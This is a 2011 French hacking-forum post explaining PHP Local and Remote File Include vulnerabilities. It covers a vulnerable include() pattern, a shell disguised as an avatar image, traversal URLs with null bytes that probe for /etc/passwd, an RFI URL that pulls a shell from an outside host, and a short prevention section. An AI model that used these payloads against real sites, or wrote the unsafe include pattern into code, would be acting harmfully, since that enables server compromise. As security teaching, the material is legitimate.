GrapHack Index du Forum
AccueilLes règlesS’enregistrerRechercherFAQMembresGroupesConnexion
La faille LFI

 
Répondre au sujet    GrapHack Index du Forum » Les membres » Section WEB Sujet précédent
Sujet suivant
La faille LFI
Auteur Message
Anon
Administrateur
Administrateur

Hors ligne

Inscrit le: 17 Aoû 2011
Messages: 165
Point(s) recus: 171
Moyenne de points: 1,04

Message La faille LFI Répondre en citant
Les failles LFI (Local File include)  



Je vais vous parler dans cet article des failles de type LFI ou Local File Include, cette technique permet à un hacker de faire exécuter du code arbitraire sur le serveur cible. 



Comment?


Cette faille survient par exemple dans du code PHP, quand le programmeur fait l'erreur de mettre une variable contrôlée par l'utilisateur dans une fonction include() ou require(), voyons un exemple concret. 




Exemple :


Supposons qu'on ait dans la page d'accueil d'un site deux parties, une partie de gauche MENU et une partie de droite CONTENU, dans MENU on à une multitude de liens qui feront apparaître des pages différentes dans CONTENU, on a trois solutions, la solution bête-bête "b-b", la solution intelligente-bête "i-b" et la solution "i-i". Dans la première on va coder un max, dans la deuxième: codage intelligent mais on va se faire pirater, et enfin la troisième est digne d'un webmaster professionnel: 

b-b. On met dans toutes les pages un même MENU à gauche et un CONTENU à chaque fois différent à droite, les liens dans le MENU pointeront simplement vers ces pages (même pas besoin de programmation, du HTML suffit à faire ça), mais seulement voila cette méthode est bête car si on a 1000 pages on devra copier/coller le script du MENU dans ces 1000 pages! D'un autre coté si ces pages sont générées par exemple quotidiennement (système de news) on devra à chaque fois changer les 999 pages déjà présentes, résultat on se retrouve dans le pétrin!!! 

b-i. Toutes les pages CONTENU sont créées indépendamment, et la page accueil sera elle constituée des deux parties, les liens dans le MENU renvoient vers cette même page (target.gov/site/accueil.php par exemple) avec un paramètre: le nom de la page qui doit apparaître dans CONTENU (par exemple /accueil.php?page=inscription), la partie CONTENU de accueil.php récupère cette variable dans $_GET['page'] et inclue la page demandée dans le bloque
de CONTENU (le MENU apparaîtra toujours), par exemple avec : 

include($_GET['page'] . ".php") 

Par exemple avec un lien du genre: 

/site/acceuil.php?page=inscription 

Le script ira chercher dans le répertoire courant la page inscription.php et l'inclura. 

Oui mais voila ce qu'on a fait est une très grosse bêtise: On a mis une variable contrôlée par l'utilisateur $_GET['page'] à l'intérieur d'une fonction include() (elle est contrôlée par l'utilisateur car rien ne l'empêche de taper ceci dans sa barre d'adresse: target.gov/site/acceuil.php?page=blablablabla maintenant la variable $_GET['page'] vaut "blablablabla"), voyons maintenant comment un hacker peut exploiter cette faille.




Exploitation


Supposons qu'il y ait un forum dans le site, où il a le droit de mettre son avatar (une image), il va prendre alors un script PHP qui lui permet de manipuler des fichiers sur un serveur (un backdoor, un shell) et va simplement lui changer son extension en .jpg pour pouvoir l'uploader sur le serveur, bien sûr aucune image n'apparaitra, il n'a besoin que du lien vers cette image, supposons que ce lien soit: 

target.gov/forum/membres/avatars/3892/shell.jpg 

(Bien sûr en tapant cet URL rien n'arrivera, le serveur ou le navigateur dira que l'image est endommagée), donc le hacker va mettre cet URL: 

target.gov/site/accueil.php?page=../forum/membres/avatars/3892/shell.jpg%00 

Que va faire ce drôle d'URL? 




Explication


Il va envoyer la variable page qui vaut ../forum/membres/avatars/3892/shell.jpg%00 vers la page accueil.php, maintenant $_GET['page']vaut cette valeur et la fonction include() s'exécutera comme suit: 

include("../forum/membres/avatars/3892/shell.jpg%00.php") 

Commençons par le signe %00 (fin de caractère) en gros il dit au script d'ignorer ce qui vient après, on n'a donc que ça: 

include("../forum/membres/avatars/3892/shell.jpg") 

Le ../ permet bien sûr de remonter dans le répertoire parent (parce que accueil.php se trouve dans le répertoire /site mais on veut le répertoire/forum donc on fait ../forum). Maintenant ce qui va apparaître dans le CONTENU c'est notre script PHP caché dans l'image shell.jpg, on aura ainsi réussi à exécuter du code à nous sur le serveur, toutes les portes nous sont ouvertes à présent pour faire (presque) n'importe quoi sur le serveur! 




Prévention


i-i. Une manière intelligente d'éviter ça aurait été de créer une fonction PHP exist() qui retournera 1 ou 0 si elle trouve ou ne trouve pas l'argument passé dans le répertoire, puis faire : 

if(exist($_GET['page'] . ".php")) 

include($_GET['page'] . ".php"); 


De cette façon, elle cherchera le fichier ../forum/membres/avatars/3892/shell.jpg dans le répertoire /site et ne le trouvera pas, rien ne sera donc exécuté! (Pour éviter d'éventuelles failles dans cette fonction PHP qui permet de vérifier si un fichier existe, mieux vaut sortir la liste des noms des fichiers contenus dans le répertoire et les comparer à la variable ($_GET['page'] . ".php") 




Comment détecter une telle faille ?


La tradition veut qu'on essai d'inclure le fichier /etc/passwd pour des serveurs Linux et /boot.ini pour les Windows (ces deux fichiers existent toujours), donc on commence à faire ceci (pour un Linux par exemple): 

target.gov/site/accueil.php?page=../../../etc/passwd%00 
target.gov/site/accueil.php?page=../../../../etc/passwd%00 
target.gov/site/accueil.php?page=../../../../../etc/passwd%00 
target.gov/site/accueil.php?page=../../../../../../etc/passwd%00 
target.gov/site/accueil.php?page=../../../../../../../etc/passwd%00 
... etc 

Jusqu'à ce qu'on voit le contenu du fichier /etc/passwd apparaître, on aura donc détecté une LFI! 




Remarque


Dans d'anciennes versions de PHP, on arrivait même à inclure une page qui se trouve sur un autre serveur (on parle de Remote File Include ou RFI), on pouvait faire un truc du genre: 

target.gov/site/accueil.php?page=http://mysite.com/shell.txt%00 

Et le shell sous forme de texte était chargé à partir de mysite.com et exécuté dans target.gov! Heureusement, cette fonctionnalité est désactivée par défaut dans les nouvelles versions de PHP, et rien ne justifie son activation ! 
 
 
C'est par cette technique que le site Teuchiland à été hacké par la team de HF
Aryas(membre de HF) en a fait un commentaire ; http://pastebin.com/cdyy82Tk


Soyez intelligents, sachez rester White-hat 
 






Source : http://www.questmachine.org/article/Les_failles_LFI_(Local_File_include)

_______________________
( ゚∀゚)o彡゜えーりん!えーりん!
<?php $nbrPosts ++;




Dim 27 Nov - 03:07 (2011)
Publicité






Message Publicité
PublicitéSupprimer les publicités ?

Dim 27 Nov - 03:07 (2011)
Montrer les messages depuis:    
Répondre au sujet    GrapHack Index du Forum » Les membres » Section WEB Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers: 

Index | Panneau d’administration | Creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.Traduction par : phpBB-fr.com